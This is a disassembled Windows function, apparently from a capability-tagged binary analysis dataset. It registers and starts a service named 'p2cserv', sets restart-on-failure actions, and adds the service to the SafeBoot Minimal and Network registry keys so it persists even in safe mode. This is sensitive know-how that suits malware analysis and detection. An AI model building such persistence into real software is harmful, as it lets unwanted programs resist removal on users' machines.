Function at 0x416f50
Capabilities:
Create service
Manipulate safe mode programs
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x168]
mov dword [ebp - 0x168], 0
xor eax, eax
push fcn.00416f40
push ebp
push 0x40f060
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, str.Service
lea eax, [ebp - 0x168]
call fcn.00405e10
push 0x105
lea eax, [ebp - 0x118]
push eax
push 0
call fcn.00416480
push 0xf003f
push 0
push 0
call fcn.00416570
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x118]
push eax
push 3
push 2
push 0x10
push 0xf01ff
mov eax, str.p2c_service
push eax
mov eax, str.p2cserv
push eax
push dword [ebp - 4]
call fcn.00416550
mov dword [ebp - 8], eax
mov dword [ebp - 0x138], 1
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 1
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 1
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x14c], 0x15180
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x140], 3
lea eax, [ebp - 0x138]
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x14c]
push eax
push 2
push dword [ebp - 8]
call fcn.00416540
mov eax, dword [ebp - 8]
call fcn.004165f0
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0xf003f
push 4
push 0
push 0
mov eax, 0x42e634
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x150]
push eax
push 0
push 0xf003f
push 4
push 0
push 0
mov eax, 0x42e654
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0xf003f
push 4
push 0
push 0
mov eax, 0x42e690
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
mov eax, dword [ebp - 0x168]
test eax, eax
je 0x4170f5
mov eax, dword [eax - 4]
add eax, 1
push eax
mov eax, dword [ebp - 0x168]
test eax, eax
jne 0x417108
mov eax, 0x435320
push eax
push 1
push 0
mov eax, 0x42e6cc
push eax
push dword [ebp - 0x150]
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0x168]
test eax, eax
je 0x41712b
mov eax, dword [eax - 4]
add eax, 1
push eax
mov eax, dword [ebp - 0x168]
test eax, eax
jne 0x41713e
mov eax, 0x435320
push eax
push 1
push 0
mov eax, 0x42e6cc
push eax
push dword [ebp - 0x154]
call sub.advapi32.dll_RegSetValueExA
mov edx, str.SYSTEMSetupAllowStartp2cserv
xor cl, cl
mov eax, 0x80000002
call fcn.00416a30
mov edx, str.SYSTEMCurrentControlSetServicesp2cserv
xor cl, cl
mov eax, 0x80000002
call fcn.004167d0
mov edx, str.SYSTEMCurrentControlSetServicesp2cservSecurity
xor cl, cl
mov eax, 0x80000002
call fcn.004167d0
mov edx, str.SYSTEMCurrentControlSetServicesp2cservEnum
xor cl, cl
mov eax, 0x80000002
call fcn.004167d0
mov edx, str.SYSTEMControlSet001Servicesp2cservSecurity
xor cl, cl
mov eax, 0x80000002
call fcn.004167d0
mov edx, str.SYSTEMControlSet001Servicesp2cservEnum
xor cl, cl
mov eax, 0x80000002
call fcn.004167d0
mov edx, str.SYSTEMControlSet001Servicesp2cserv
xor cl, cl
mov eax, 0x80000002
call fcn.004167d0
mov edx, str.SYSTEMCurrentControlSetControlSafeBootMinimalp2cserv
xor cl, cl
mov eax, 0x80000002
call fcn.00416a30
mov edx, str.SYSTEMCurrentControlSetControlSafeBootNetworkp2cserv
xor cl, cl
mov eax, 0x80000002
call fcn.00416a30
push 0x28
call fcn.00416450
push 1
mov eax, str.ServicesActive
push eax
push 0
call fcn.00416560
mov dword [ebp - 0x10], eax
push 0x10
mov eax, str.p2cserv
push eax
push dword [ebp - 0x10]
call fcn.00416580
mov dword [ebp - 0xc], eax
call fcn.00416de0
push 0x28
call fcn.00416450
push 0
push 0
push dword [ebp - 0xc]
call fcn.004165c0
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00416f40
mov esp, ebp
pop ebp
ret